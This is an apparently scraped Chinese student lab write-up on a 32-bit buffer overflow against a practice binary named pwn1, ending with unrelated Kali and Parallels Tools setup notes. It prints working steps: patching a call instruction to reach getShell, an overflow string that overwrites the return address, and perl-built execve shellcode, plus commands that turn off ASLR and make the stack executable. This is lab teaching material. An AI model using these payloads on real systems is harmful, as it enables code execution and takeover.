掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分)html
掌握反汇编与十六进制编程器 (0.5分)linux
能正确修改机器指令改变程序执行流程(0.5分)git
能正确构造payload进行bof攻击(0.5分)shell
返回目录macos
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数编程
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数vim
注入一个本身制做的shellcode并运行这段shellcodewindows
返回目录sass
- 熟悉Linux基本操做
- 能看懂经常使用指令,如管道(|),输入、输出重定向(>)等
- 理解Bof的原理
- 能看得懂汇编、机器指令、EIP、指令地址
- 会使用gdb,vi
返回目录markdown
apt-get install lib32ncurses5
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另外一个代码片断,getShell,会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断,而后学习如何注入运行任何Shellcode。
三个实践内容以下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个本身制做的shellcode并运行这段shellcode。
这几种思路,基本表明现实状况中的攻击目标:
- 运行本来不可访问的代码片断
- 强行修改程序执行流
- 以及注入运行任意代码
- 熟悉Linux基本操做
- 能看懂经常使用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理。
- 能看得懂汇编、机器指令、EIP、指令地址。
- 会使用gdb,vi。
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
学习目标:理解可执行文件与机器指令
进阶:掌握ELF文件格式,掌握动态技术
objdump -d pwn1
命令进行反汇编:call 8048491 <foo>
是汇编指令
8048491
处的foo函数;e8 d7ffffff
,e8即跳转之意
80484ba
,但如一解释e8这条指令呢,CPU就会转而执行EIP + d7ffffff
这个位置的指令。d7ffffff
是补码,表示-41,41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491
这个值,e8 d7ffffff
,
d7ffffff
为getShell-80484ba
对应的补码就行c3ffffff
d7ffffff
变为c3ffffff
:
vim pwn1
esc
->:%!xxd
将显示模式切换为16进制模式:/e8d7
查找要修改的内容:%!xxd -r
转换16进制为原格式:wq
存盘退出vimobjdump -d pwn1
命令反汇编看一下,call指令是否正确调用getShell:./pwn1
运行改后的代码,会获得shell提示符#:知识要求:堆栈结构,返回地址
学习目标:理解攻击缓冲区的结果,掌握返回地址的获取
进阶:掌握ELF文件格式,掌握动态技术
objdump -d pwn1
命令反汇编:32字节
的缓冲区,超出部分会形成溢出,咱们的目标是覆盖返回地址80484ae
若是输入字符串1111111122222222333333334444444412345678
,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址,输入给pwn1,pwn1就会运行getShell
getShell的内存地址,经过反汇编时能够看到,即0804847d
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d
,仍是输入11111111222222223333333344444444\x7d\x84\x04\x08
对比以前eip 0x34333231 0x34333231
,正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08
因为无法经过键盘输入\x7d\x84\x04\x08这样的16进制值,因此须要先生成包括这样字符串的一个文件。\x0a表示回车,若是没有的话,在程序运行时就须要手工按一下回车键。
关于Perl:
Perl是一门解释型语言,不须要预编译,能够在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。
同时,可使用16进制查看指令xxd查看input文件的内容是否如预期。
而后将input的输入,经过管道符“|”,做为pwn1的输入。
- shellcode就是一段机器指令(code)
- 一般这段机器指令的目的是为获取一个交互式的shell(像linux的shell或相似windows下的cmd.exe),
- 因此这段机器指令被称为shellcode。
- 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
最基本的shellcode的编写可参考学姐的文章Shellcode入门,写得很是之清楚详实。如下实践即便用该文章中生成的shellcode。以下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
关于更多Shellcode的知识,请参考Shellcode基础。
注意:如下实践是在很是简单的一个预设条件下完成的:
所以修改设置以下:
apt-get install execstack //安装execstack命令 execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
retaddr+nop+shellcode
nop+shellcode+retaddr
nop+shellcode+retaddr
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
注入,其中前面32个A用来填满缓冲区buf,\x04\x03\x02\x01
为预留的返回地址retaddr:(cat input_shellcode;cat) | ./pwn1
ps -ef | grep pwn1
命令找到pwn1的进程号是:9489:gdb
、attach 9489
命令启动gdb调试这个进程:disassemble foo
命令反汇编,经过设置断点,来查看注入buf的内存地址:break *0x080484ae
命令设置断点,输入c
命令(continue)继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp
命令查找地址:x/16x 0xffffd27c
命令查看其存放内容,看到了0x01020304,就是返回地址的位置。根据咱们构造的input_shellcode可知,shellcode就在其后,因此地址应为0xffffd280
:perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
:(cat input_shellcode;cat) | ./pwn1
命令次执行程序,攻击成功!以下图:试了不少次,也盲目重启了不少次Kali(它提示让我重启的不怪我),不过用图形界面安装时每次到10%就会卡住而后提示失败:(
su
命令切换到root(Kali用户默认root)vim /etc/apt/sources.list
deb https://https.kali.org/kali kali-rolling main contrib non-free
到文件中并保存退出apt-get clean apt-get update apt-get upgrade -y apt-get dist-upgrade -y apt-get install dkms kpartx printer-driver-postscript-hp
eject /dev/cdrom
推出Parallel Tools安装工具操做
->安装 Parallel Tools
mkdir /media/pt mkdir /root/Desktop/pt mount /dev/cdrom /media/pt cp -r /media/pt/ /root/Desktop/pt cd /root/Desktop/pt/pt ./install